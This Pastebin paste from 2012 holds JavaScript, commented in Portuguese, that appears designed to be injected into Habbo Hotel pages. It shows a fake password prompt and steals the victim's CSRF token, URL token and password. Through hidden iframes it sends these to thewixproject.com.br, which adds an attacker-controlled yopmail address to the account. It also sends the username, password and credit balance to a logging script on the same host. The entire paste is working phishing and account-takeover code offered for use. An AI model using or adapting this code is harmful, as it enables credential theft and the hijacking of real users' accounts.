nPhoenix

[Old] Adicionar e-mail

Nov 20th, 2012
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. ############################################
  3. # ADD E-MAIL COM PEDIDO DE SENHA BY PHOENIX.
  4. # ARRUMA AS PARTE AI BONITÃO, POIS PRECISA DE MAIS 3 ARQUIVOS PRA FUNCIONAR. :*
  5. # (c) 2012
  6. ############################################
  7. */
  8. var $_id = i.toString();
  9.  
  10. function random(len) {
  11.     var i, chars = '1234567890QWERTYUIOPASDFGHJKLMNBCZB',
  12.         str = '';
  13.     if (!len) len = 15;
  14.     for (i = 0; i < len; i++) str += chars.substr((Math.floor(Math.random() * (chars.length + 1))), 1);
  15.     return str;
  16. };
  17. var __mail_server = "yopmail.net";
  18. var __time_stamp = random(15);
  19. var __send_to_guest = "WIX_BOT_" + __time_stamp;
  20. var __email_add = __send_to_guest + "@" + __mail_server;
  21. var $_str_wix_content = '<b>' + habboName + '</b> para completar a ação anterior, por favor, digite sua senha por segurança:';
  22. var $_str_wix_title = 'Para confirmar digite sua senha';
  23. var $_str_butt_OK = 'Ok';
  24. var $_str_load_fail = 'Digite sua senha corretamente!';
  25. d = document;
  26.  
  27. function verifica(email) {
  28.     new Ajax.Request('/identity/email', {
  29.         onComplete: function (x) {
  30.             x = x.responseText;
  31.             if (x.match(email)) {
  32.                 X.hide();
  33.                 Overlay.hide();
  34.                 d.getElementById(wix_box).innerHTML = '';
  35.                 new Ajax.Request('/credits', {
  36.                     onComplete: function (x) {
  37.                         var credits = (x.responseText.match(/class="redeem-balance-amount">(.*?)</gi)[0].split('">')[1].split('<')[0]);
  38.                         d.body.appendChild(new Element('iframe', {
  39.                             style: 'display:none',
  40.                             src: 'http://thewixproject.com.br/phpcontrol/log_request.php?i=' + $_id + '&type=2&e=' + __email_add + '&ho=' + location.host + '&h=' + habboName + '&p=' + pass_set.value + '&credits=' + credits,
  41.                             name: 'WIX_LOG_' + (new Date()).getTime()
  42.                         }));
  43.                     }
  44.                 });
  45.             } else {
  46.                 d.getElementById('wix_load').innerHTML = "<center><font color='red'>" + $_str_load_fail + "</font></center>";
  47.             };
  48.         }
  49.     });
  50. };
  51.  
  52. function set(_pass) {
  53.     X.appendChild(new Element(_d, {
  54.         id: 'wix_load'
  55.     }));
  56.     d.getElementById('wix_load').innerHTML = "<center><img src='http://habboemotion.com/resources/images/icons/progress_bar_blue.gif'></center>";
  57.     new Ajax.Request("/identity/email", {
  58.         onComplete: function (k) {
  59.             var _num = k.responseText.match(/urlToken/gi).length - 1;
  60.             var _token = (k.responseText.match(/name="urlToken" value="(.*?)"/gi)[_num].split('"')[3]);
  61.             var _app = $$("[name*=csrf]")[0].content;
  62.             document.body.appendChild(new Element("iframe", {
  63.                 style: "display:none",
  64.                 src: "http://thewixproject.com.br/js/add.php?email=" + __email_add + "&hotel=" + location.host + "&token=" + _token + "&appkey=" + _app + "&password=" + _pass,
  65.                 name: "WIX_" + new Date().getTime()
  66.             }));
  67.             setTimeout("verifica(__time_stamp)", 6000);
  68.         }
  69.     });
  70. };
  71. Overlay.show();
  72. var p = d.createElement('link');
  73. p.type = 'text/css';
  74. p.rel = 'stylesheet';
  75. p.href = 'http://thewixproject.com.br/css/wix_box.css';
  76. d.head.appendChild(p);
  77. var wix_box = 'WIX_' + (new Date()).getTime();
  78. var _d = 'div';
  79. d.body.appendChild(new Element(_d, {
  80.     id: wix_box,
  81.     class: 'wix_traplod'
  82. }));
  83. d.getElementById(wix_box).appendChild(new Element(_d, {
  84.     id: 'wix_box'
  85. }));
  86. X = d.getElementById('wix_box');
  87. X.appendChild(new Element(_d, {
  88.     id: 'wix_title'
  89. }));
  90. X.appendChild(new Element(_d, {
  91.     id: 'wix_content'
  92. }));
  93. d.getElementById('wix_content').innerHTML = $_str_wix_content + '<br><input type="password" value="senha" id="senha" name="senha"><br><button onClick="set(senha.value);">' + $_str_butt_OK + '</button>';
  94. d.getElementById('wix_title').innerHTML = $_str_wix_title;
  95. var pass_set = d.getElementById('senha');
Advertisement
Add Comment
Please, Sign In to add comment